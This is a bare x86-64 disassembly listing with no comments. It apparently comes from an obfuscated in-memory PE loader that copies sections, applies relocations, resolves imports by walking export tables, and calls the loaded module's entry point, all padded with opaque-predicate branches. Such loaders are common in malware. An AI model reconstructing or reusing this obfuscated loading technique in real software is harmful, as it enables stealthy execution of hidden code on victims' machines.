jmp 0x180002430
jmp 0x180002440
jmp 0x180002450
jmp 0x180002460
jmp 0x180002470
jmp 0x180002480
cmp eax, 0xa
jl 0x180002492
test edx, edx
je 0x180002492
nop dword [rax + rax]
jmp 0x180002490
mov rdx, qword [rbp]
lea r8, [rdx + 0x108]
xor r9d, r9d
mov rdx, qword [rbp]
movzx edx, word [rdx + 6]
cmp r9, rdx
jae 0x18000257d
mov eax, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x1800024d3
test edx, edx
jne 0x180002579
lea rax, [r9 + r9*4]
mov r10d, dword [r8 + rax*8 + 0x10]
test r10, r10
je 0x180002541
mov edi, dword [r8 + rax*8 + 0xc]
mov eax, dword [r8 + rax*8 + 0x14]
add rdi, r14
lea rbx, [rax + r13]
add rbx, 0x404
xor eax, eax
cmp ecx, 0xa
jge 0x180002510
jmp 0x180002514
add rax, 1
cmp r10, rax
je 0x180002541
cmp ecx, 0xa
jl 0x180002514
test edx, edx
jne 0x180002539
movzx ecx, byte [rbx + rax]
mov byte [rdi + rax], cl
mov esi, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea edx, [rsi - 1]
imul edx, esi
and edx, 1
cmp ecx, 0xa
jl 0x180002502
test edx, edx
je 0x180002502
mov cl, byte [rbx + rax]
mov byte [rdi + rax], cl
jmp 0x180002514
mov ecx, dword [0x180020a70]
mov eax, dword [0x180020a6c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
cmp eax, 0xa
jl 0x18000255f
test edx, edx
jne 0x18000257b
add r9, 1
cmp eax, 0xa
jl 0x1800024a0
test edx, edx
je 0x1800024a0
jmp 0x180002490
jmp 0x180002579
jmp 0x18000257b
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete bl
cmp eax, 0xa
setl dl
or dl, bl
je 0x1800027b8
mov rdi, qword [rbp]
mov rbx, qword [rdi + 0x30]
mov r11, r14
sub r11, rbx
mov r15d, dword [rdi + 0xb0]
add r15, r14
movabs r8, 0x1fffffff8
cmp dword [r15], 0
jne 0x1800025e9
jmp 0x1800027c2
mov edx, dword [r15 + 4]
add r15, rdx
test bl, 1
sete bl
cmp eax, 0xa
setl dl
or dl, bl
je 0x1800027b8
cmp dword [r15], 0
je 0x1800027c2
mov edi, dword [r15 + 4]
cmp rdi, 8
jb 0x18000279c
add rdi, r8
shr rdi, 1
test edi, edi
je 0x180002797
mov r9d, edi
xor r10d, r10d
jmp 0x180002628
add r10, 1
test dl, 1
sete bl
cmp eax, 0xa
setl dl
or dl, bl
cmp r10, r9
je 0x180002797
test dl, 1
je 0x180002628
movzx ebx, word [r15 + r10*2 + 8]
mov esi, ebx
and esi, 0xfff
test dl, 1
je 0x180002628
mov edi, ebx
shr edi, 0xc
movzx edx, bx
cmp edx, 0xa000
jae 0x1800026fa
cmp edi, 3
jne 0x18000277b
cmp eax, 0xa
jl 0x180002671
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x1800027bc
mov eax, dword [r15]
lea rax, [r14 + rax*4]
add dword [rax + rsi*4], r11d
mov ecx, dword [0x180020a70]
mov eax, dword [0x180020a6c]
cmp eax, 0xa
jl 0x18000277b
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x18000277b
mov eax, esi
lea rdx, [r14 + rax*4]
mov eax, dword [r15]
add dword [rdx + rax*4], r11d
mov eax, dword [r15]
add dword [rdx + rax*4], r11d
cmp dword [0x180020a6c], 0xa
jl 0x1800026ce
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800026a6
mov eax, dword [r15]
add dword [rdx + rax*4], r11d
mov ecx, dword [0x180020a70]
mov eax, dword [0x180020a6c]
cmp eax, 0xa
jl 0x18000277b
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
jne 0x1800026a6
jmp 0x18000277b
cmp edi, 0xa
jne 0x18000277b
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp eax, 0xa
jl 0x180002715
test edi, edi
jne 0x1800027be
mov edx, esi
cmp eax, 0xa
jl 0x180002740
test edi, edi
je 0x180002740
mov eax, dword [r15]
lea rcx, [rdx + r14]
add qword [rax + rcx], r11
mov ecx, dword [0x180020a70]
mov eax, dword [0x180020a6c]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp eax, 0xa
jl 0x180002754
test edi, edi
je 0x180002754
lea rsi, [rdx + r14]
mov eax, dword [r15]
add qword [rsi + rax], r11
mov eax, dword [r15]
lea rsi, [rdx + r14]
add qword [rax + rsi], r11
mov ecx, dword [0x180020a70]
mov eax, dword [0x180020a6c]
cmp eax, 0xa
jl 0x18000277b
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
jne 0x18000274d
lea edx, [rcx - 1]
imul edx, ecx
cmp eax, 0xa
jl 0x18000260d
mov esi, edx
and esi, 1
je 0x18000260d
jmp 0x1800027ba
test dl, 1
je 0x1800027c0
lea ebx, [rcx - 1]
imul ebx, ecx
cmp eax, 0xa
jl 0x1800025c4
mov edx, ebx
and edx, 1
je 0x1800025c4
jmp 0x1800027b6
jmp 0x1800027b8
jmp 0x1800027ba
jmp 0x1800027bc
jmp 0x1800027be
jmp 0x1800027c0
mov rdx, qword [rbp]
mov edx, dword [rdx + 0x90]
add rdx, r14
mov qword [rbp - 0x18], rdx
lea rdx, [r14 + 2]
mov qword [rbp - 0x20], rdx
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp eax, 0xa
setl al
or al, cl
test al, al
je 0x1800027ef
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xc]
test rax, rax
je 0x180002b8b
mov r13, rax
sub rsp, 0x20
mov rcx, qword [rbp - 0x10]
call fcn.180002c50
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002838
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002b18
add r13, r14
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000286a
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002b1a
add r8, r9
mov ebx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rbx, r9
add rcx, r9
mov edi, dword [rbx]
add rdi, r9
mov rsi, r12
movzx eax, byte [rsi]
movzx edx, byte [rdi]
test al, al
je 0x18000289b
add rsi, 1
add rdi, 1
cmp al, dl
je 0x180002885
cmp al, dl
je 0x1800028a9
add rbx, 4
add rcx, 2
jmp 0x18000287d
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r13
call r9
add rsp, 0x20
mov r15, rax
mov ecx, dword [0x180020a70]
mov eax, dword [0x180020a6c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
cmp eax, 0xa
jl 0x1800029d5
test edx, edx
je 0x1800029d5
sub rsp, 0x20
mov rcx, qword [rbp - 0x10]
call fcn.180002c50
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000291c
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002b1c
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000294b
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002b1e
add r8, r9
mov ebx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rbx, r9
add rcx, r9
mov edi, dword [rbx]
add rdi, r9
mov rsi, r12
movzx eax, byte [rsi]
movzx edx, byte [rdi]
test al, al
je 0x18000297c
add rsi, 1
add rdi, 1
cmp al, dl
je 0x180002966
cmp al, dl
je 0x18000298a
add rbx, 4
add rcx, 2
jmp 0x18000295e
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r13
call r9
mov rcx, qword [rbp - 0x10]
call fcn.180002c50
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000283b
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x18000283b
jmp 0x180002b18
cmp eax, 0xa
jl 0x1800029e2
test edx, edx
jne 0x180002b20
mov rdx, qword [rbp - 0x18]
mov r13d, dword [rdx]
mov edx, dword [rdx + 0x10]
add rdx, r14
mov qword [rbp - 8], rdx
add r13, r14
mov rdx, qword [r13]
test rdx, rdx
je 0x180002b0e
mov rax, qword [rbp - 0x20]
add rax, rdx
test rdx, rdx
movzx ecx, dx
cmovns rcx, rax
mov qword [rbp - 0x28], rcx
sub rsp, 0x20
mov rcx, qword [rbp - 0x10]
call fcn.180002c50
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002a4a
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002b22
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002a79
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002b24
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdx, r9
add rcx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, qword [rbp - 0x30]
movzx eax, byte [rsi]
movzx ebx, byte [rdi]
test al, al
je 0x180002aab
add rsi, 1
add rdi, 1
cmp al, bl
je 0x180002a95
cmp al, bl
je 0x180002ab9
add rdx, 4
add rcx, 2
jmp 0x180002a8c
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r15
mov rdx, qword [rbp - 0x28]
call r9
add rsp, 0x20
mov rcx, qword [rbp - 8]
mov qword [rcx], rax
add r13, 8
add rcx, 8
mov qword [rbp - 8], rcx
mov ecx, dword [0x180020a70]
mov eax, dword [0x180020a6c]
cmp eax, 0xa
jl 0x1800029f6
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x1800029f6
jmp 0x180002b20
add qword [rbp - 0x18], 0x14
jmp 0x1800027db
jmp 0x180002b18
jmp 0x180002b1a
jmp 0x180002b1c
jmp 0x180002b1e
jmp 0x180002b20
jmp 0x180002b22
jmp 0x180002b24
mov ecx, dword [0x180020a70]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180002bae
cmp eax, 0xa
jl 0x180002b47
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x180002b75
mov rax, qword [rbp]
mov eax, dword [rax + 0x28]
add rax, r14
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x180002b8b
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002b8b
mov rax, qword [rbp]
mov eax, dword [rax + 0x28]
add rax, r14
sub rsp, 0x20
call rax
add rsp, 0x20
jmp 0x180002b47
mov rax, qword [rbp]
mov eax, dword [rax + 0x28]
add rax, r14
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, dword [0x180020a6c]
cmp eax, 0xa
jge 0x180002b26
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov byte [rbx + 2], cl
mov eax, dword [0x180020a74]
mov edi, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp edi, 0xa
jl 0x180002be5
test edx, edx
je 0x180002be5
mov byte [rbx + 2], cl
jmp 0x180002bbf
mov al, byte [0x180004003]
cmp edi, 0xa
jl 0x180002bf4
test edx, edx
jne 0x180002c15
mov byte [rbx + 3], al
mov edi, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rdi - 1]
imul ecx, edi
and ecx, 1
cmp edx, 0xa
jl 0x180002c1a
test ecx, ecx
je 0x180002c1a
mov byte [rbx + 3], al
jmp 0x180002bf4
cmp dword [0x180020a6c], 0xa
jl 0x180001186
mov eax, dword [0x180020a70]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
je 0x180001186
nop dword [rax]
jmp 0x180002c40